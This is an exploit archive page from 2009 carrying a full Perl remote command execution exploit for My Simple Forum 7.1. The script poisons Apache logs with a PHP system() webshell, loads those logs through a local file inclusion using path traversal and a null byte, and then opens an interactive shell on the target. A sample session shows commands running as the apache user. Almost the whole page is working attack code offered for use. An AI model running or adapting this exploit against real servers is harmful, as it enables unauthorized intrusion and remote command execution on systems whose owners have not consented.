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My Simple Forum 7.1 Command Execution

My Simple Forum 7.1 Command Execution
Posted Mar 27, 2009
Authored by Osirys | Site y-osirys.com

My Simple Forum version 7.1 remote command execution exploit that leverages a local file inclusion vulnerability.

tags | exploit, remote, local, file inclusion
SHA-256 | aecd9473523f12342ec2c7e647e527582de5aa5dbf9dda8a2f7df9a97002f58b

My Simple Forum 7.1 Command Execution

Change Mirror Download
#!/usr/bin/perl

# My Simple Forum v7.1
# Remote Command Execution Exploit (Apache Log Poisoning/Injection)
# Local File Inclusion at /theme/default/index.template.php?action=[lf]%00
# XSS at /theme/default/index.template.php?Name=[XSS] - This needs Register Globals ON
# Credits to Giovanni Buzzin, "Osirys"
# osirys[at]autistici[dot]org

# ---------------------------------------------------------------------------------------
# Exploit on Local
# ---------------------------------------------------------------------------------------
# osirys[~]>$ perl spl.txt http://localhost/MySimpleForum_v.7.1/
#
# ---------------------------------
# My Simple Forum RCE Sploit
# (Log Inj)
# by Osirys
# ---------------------------------
#
# [*] Injecting evil php code ..
# [*] Cheeking for Apache Logs ..
# [*] Apache Log Injection completed
# [*] Path: /var/log/httpd/access_log
# [!] Hi my master, do your job now [x]
#
# shell[localhost]$> pwd
# /home/osirys/web/MySimpleForum_v.7.1
# shell[localhost]$> id
# uid=80(apache) gid=80(apache) groups=80(apache)
# shell[localhost]$> exit
# [-] Quitting ..
#
# osirys[~]>$
# ---------------------------------------------------------------------------------------


use IO::Socket::INET;
use LWP::UserAgent;

my $host = $ARGV[0];
my $lfi_path = "/index.php?action=";
my $null_byte = "%00";
my $rand_a = int(rand 150);
my $rand1 = "1337".$rand_a."1337";
my $rand_b = int(rand 150);
my $rand2 = "1337".$rand_b."1337";
my $gotcha = 0;
my $dir_trasv = "../../../../../../../../../..";
my @logs_dirs = qw(
/var/log/httpd/access_log
/var/log/httpd/access.log
/var/log/httpd/error.log
/var/log/httpd/error_log
/var/log/access_log
/logs/error.log
/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/etc/httpd/logs/access_log
/usr/local/apache/logs/error_log
/etc/httpd/logs/access.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/www/logs/access_log
/var/www/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error.log
/var/log/error_log
/apache/logs/error.log
/apache/logs/access.log
);

my $php_code = "<?php if(get_magic_quotes_gpc()){ \$_GET[cmd]=st".
"ripslashes(\$_GET[cmd]);} system(\$_GET[cmd]);?>";

($host) || help("-1");
cheek($host) == 1 || help("-2");
&banner;

$datas = get_input($host);
$datas =~ /(.*) (.*)/;
($h0st,$path) = ($1,$2);


$sock = IO::Socket::INET->new(
PeerAddr => $h0st,
PeerPort => 80,
Proto => "tcp"
) || die "Can't connect to $host:80!\n";

print "[*] Injecting evil php code ..\n";


print $sock "GET /Osirys_log_inj start0".$rand1.$php_code."0end".$rand2." HTTP/1.1\r\n";
print $sock "Host: ".$host."\r\n";
print $sock "Connection: close\r\n\r\n";
close($sock);

print "[*] Cheeking for Apache Logs ..\n";

while (($log = <@logs_dirs>)&&($gotcha != 1)) {
$tmp_path = $host.$lfi_path.$dir_trasv.$log.$null_byte;
$re = get_req($tmp_path);
if ($re =~ /Osirys_log_inj/) {
$gotcha = 1;
$log_path = $tmp_path;
print "[*] Apache Log Injection completed\n";
print "[*] Path: $log\n";
print "[!] Hi my master, do your job now [x]\n\n";
&exec_cmd;
}
}

$gotcha == 1 || die "[-] Couldn't find Apache Logs\n";

sub exec_cmd {
$h0st !~ /www\./ || $h0st =~ s/www\.//;
print "shell[$h0st]\$> ";
$cmd = <STDIN>;
$cmd !~ /exit/ || die "[-] Quitting ..\n\n";
$exec_url = $log_path."&cmd=".$cmd;
my $re = get_req($exec_url);
my $content = tag($re);
if ($content =~ m/start0$rand1(.+)\*0end$rand2/g) {
my $out = $1;
$out =~ s/\$/ /g;
$out =~ s/\*/\n/g;
chomp($out);
print "$out\n";
&exec_cmd;
}
else {
$c++;
$cmd =~ s/\n//;
print "bash: ".$cmd.": command not found\n";
$c < 3 || die "[-] Command are not executed.\n[-] Something wrong. Exploit Failed !\n\n";
&exec_cmd;
}

}

sub get_req() {
$link = $_[0];
my $req = HTTP::Request->new(GET => $link);
my $ua = LWP::UserAgent->new();
$ua->timeout(4);
my $response = $ua->request($req);
return $response->content;
}

sub cheek() {
my $host = $_[0];
if ($host =~ /http:\/\/(.+)/) {
return 1;
}
else {
return 0;
}
}

sub get_input() {
my $host = $_[0];
$host =~ /http:\/\/(.+)/;
$s_host = $1;
$s_host =~ /([a-z.-]{1,30})\/(.*)/;
($h0st,$path) = ($1,$2);
$path =~ s/(.*)/\/$1/;
$full_det = $h0st." ".$path;
return $full_det;
}

sub tag() {
my $string = $_[0];
$string =~ s/ /\$/g;
$string =~ s/\s/\*/g;
return($string);
}

sub banner {
print "\n".
" --------------------------------- \n".
" My Simple Forum RCE Sploit \n".
" (Log Inj) \n".
" by Osirys \n".
" --------------------------------- \n\n";
}

sub help() {
my $error = $_[0];
if ($error == -1) {
&banner;
print "\n[-] Input data failed ! \n";
}
elsif ($error == -2) {
&banner;
print "\n[-] Bad hostname address !\n";
}
print "[*] Usage : perl $0 http://hostname/cms_path\n\n";
exit(0);
}

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